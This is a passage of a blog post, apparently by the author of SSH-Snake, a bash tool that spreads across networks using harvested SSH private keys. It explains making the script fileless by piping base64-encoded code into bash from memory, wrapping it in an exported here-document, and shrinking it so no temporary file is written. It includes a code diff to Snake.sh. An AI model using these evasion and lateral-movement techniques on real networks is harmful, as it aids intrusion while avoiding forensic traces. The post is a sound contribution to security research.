  <span class="k">done</span> &lt; &lt;<span class="o">(</span><span class="nb">echo</span> <span class="s1">'echo "$1" | base64 -d | bash -s $1'</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$local_script</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">-w0</span><span class="si">)</span><span class="s2">"</span> 2&gt;&amp;1 | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-F</span> <span class="s1">'INTERNAL_MSG'</span><span class="o">)</span>
</code></pre></div></div>

<p>As we see, we pass the base64-encoded modified script from memory to bash – just like we did to ssh – but this first one is going to be running locally.</p>

<hr />

<p>As I was finalizing this blog post and getting ready for the release of SSH-Snake, I was a bit dismayed that I couldn’t claim the script was completely fileless. It was required to be downloaded on at least the host that the user was going to start running it on, due to the aforementioned function removal procedure:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c"># Actually remove it all.</span>
  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>remove_functions <span class="s2">"</span><span class="si">$(</span><span class="nb">cat</span> <span class="s2">"</span><span class="nv">$0</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$remove_function</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>

  <span class="c"># Remove all comments and unnecessary white-spaces.</span>
  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$local_script</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/^[ \t]*//'</span> <span class="nt">-e</span> <span class="s1">'s/^#.*$//'</span> <span class="nt">-e</span> <span class="s1">'s/[[:space:]]#.*//'</span> <span class="nt">-e</span> <span class="s1">'/^[[:space:]]*$/d'</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>In order to remove the functions/variables from the script has to know the contents of the whole script – which in the above example, it knows because it runs <code class="language-plaintext highlighter-rouge">cat "$0"</code>, taking the contents of the location of the script which is being executed. If we just pipe the script into curl, <code class="language-plaintext highlighter-rouge">$0</code> won’t contain anything.</p>

<p>So what can we do? Well, I realized that we can place the whole excerpt into a variable, export the variable as “the script”, then execute the variable. For example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">THIS_SCRIPT</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> <span class="o">&lt;&lt;</span><span class="sh">"</span><span class="no">EOF</span><span class="sh">"
echo "Pretending to remove_functions: </span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">-w0</span><span class="si">)</span><span class="sh">"
</span><span class="no">EOF
</span><span class="si">)</span>

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | bash
</code></pre></div></div>

<p>when executed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>bash p.sh
Pretending to remove_functions: ZWNobyAiUHJldGVuZGluZyB0byByZW1vdmVfZnVuY3Rpb25zOiAkKGVjaG8gIiRUSElTX1NDUklQVCIgfCBiYXNlNjQgLXcwKSIK
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'ZWNobyAiUHJldGVuZGluZyB0byByZW1vdmVfZnVuY3Rpb25zOiAkKGVjaG8gIiRUSElTX1NDUklQVCIgfCBiYXNlNjQgLXcwKSIK'</span> | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="nb">echo</span> <span class="s2">"Pretending to remove_functions: </span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">-w0</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>And just like this, SSH-Snake becomes completely fileless:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/Snake.sh b/Snake.sh
index 7a09d8f..bb2d78d 100755
</span><span class="gd">--- a/Snake.sh
</span><span class="gi">+++ b/Snake.sh
</span><span class="p">@@ -4,6 +4,8 @@</span>
 # GPL 3 License. See LICENSE and COPYING for more.
 #
 
<span class="gi">+export THIS_SCRIPT=$(cat &lt;&lt;"MAIN_SCRIPT" # DO NOT EDIT THIS LINE
+
</span> ######
 ######
 # SETTINGS
<span class="p">@@ -463,7 +465,7 @@</span> shape_script() {
   # TODO: We should remove declare -A root_ssh_keys, declare -A root_ssh_hostnames_dests, and declare -A root_ssh_hosts_dests somehow.
 
   # Actually remove it all.
<span class="gd">-  local_script="$(remove_functions "$(cat "$0")" "$remove_function")"
</span><span class="gi">+  local_script="$(remove_functions "$THIS_SCRIPT" "$remove_function")"
</span> 
   # Remove all comments and unnecessary white-spaces.
   local_script="$(printf "%s" "$local_script" | sed -e 's/^[ \t]*//' -e 's/^#.*$//' -e 's/[[:space:]]#.*//' -e '/^[[:space:]]*$/d')"
<span class="p">@@ -2152,3 +2154,6 @@</span> printf "%s%s: EXTERNAL_MSG: INFO: Beginning with %d dests and %d keys\n" "$inden
 recursive_scan
 
 fin
<span class="gi">+MAIN_SCRIPT
+)
+printf "%s" "$THIS_SCRIPT" | stdbuf -o0 bash --noprofile --norc
</span></code></pre></div></div>

<hr />

<p>Well…. sort of. Remember how I said using a here-document in bash may create a temporary file? Well that’s because in bash, if the contents of a here-document is greater than the pipe capacity (which is likely 65535-bytes), the data is written to a temporary file to avoid write blocking. <code class="language-plaintext highlighter-rouge">Snake.sh</code> is 93414-bytes.</p>

<p>If you <strong>really really really</strong> need to avoid writing anything to a file even on the system you’re executing <code class="language-plaintext highlighter-rouge">Snake.sh</code> on, you can pre-remove all of the unnecessary white-spaces and comments, and you’ll be below that 65535-byte limit:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>Snake.sh | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/^[ \t]*//'</span> <span class="nt">-e</span> <span class="s1">'s/^#.*$//'</span> <span class="nt">-e</span> <span class="s1">'s/[[:space:]]#.*//'</span> <span class="nt">-e</span> <span class="s1">'/^[[:space:]]*$/d'</span> | <span class="nb">wc</span> <span class="nt">-c</span>
45846
</code></pre></div></div>

<p>Maybe I should go back to that idea of the git pre-commit hook and include this minimized file automatically?:) Ah.. done.</p>

<hr />

<p>Ah, and you might be wondering: why do I define local variables inside loops? Their life-cycle is per-function!</p>

<p>Yes, I know this, but it helps me keep track of all of the loops. It has no effect on performance, and in the future I think I’ll use <code class="language-plaintext highlighter-rouge">remove_functions()</code> to remove all <code class="language-plaintext highlighter-rouge">local</code> definitions anyway.</p>

<hr />

<p>Thanks for reading! (This post is continued <a href="https://joshua.hu/ssh-snake-multi-ip-domain-resolution-bash-cannot-assign-list-to-array-member">here, with an update</a>.</p>

</article>

  <span class="post-date">
  Published on
  
  January
  4th,
  2024
  by
  
    Joshua Rogers
  
</span>



  <div class="post-date"></div>
<!-- <div class="sharing-icons">
  <a href="https://twitter.com/intent/tweet?text=SSH-Snake: Automatic traversal of networks using SSH private keys&amp;url=https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph" target="_blank"><i class="fa fa-twitter" aria-hidden="true"></i></a>
  <a href="https://www.facebook.com/sharer/sharer.php?u=https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph&amp;title=SSH-Snake: Automatic traversal of networks using SSH private keys" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i></a>
</div> -->



  <div class="related">
  <h1 ></h1>
  
  <ul class="related-posts">
    
  </ul>
</div>




      </div>
      <footer class="footer">
  
  
  
    <a href="https://github.com/MegaManSec" target="_blank"><i class="fa fa-github" aria-hidden="true"></i></a>
  

  
  
    <a href="https://twitter.com/MegaManSec" target="_blank"><i class="fa fa-twitter" aria-hidden="true"></i></a>
  

  
  
    <a href="https://www.linkedin.com/in/joshua-alexander-rogers/" target="_blank"><i class="fa fa-linkedin" aria-hidden="true"></i></a>
  

  
  
    <a href="/feed.xml"><i class="fa fa-rss-square" aria-hidden="true"></i></a>
  

  <div class="footer-description"><a href="https://joshua.hu/">Joshua.Hu | Joshua Rogers' Scribbles |  by Joshua Rogers</a></div>
</footer>

    </div>
  </body>
</html>
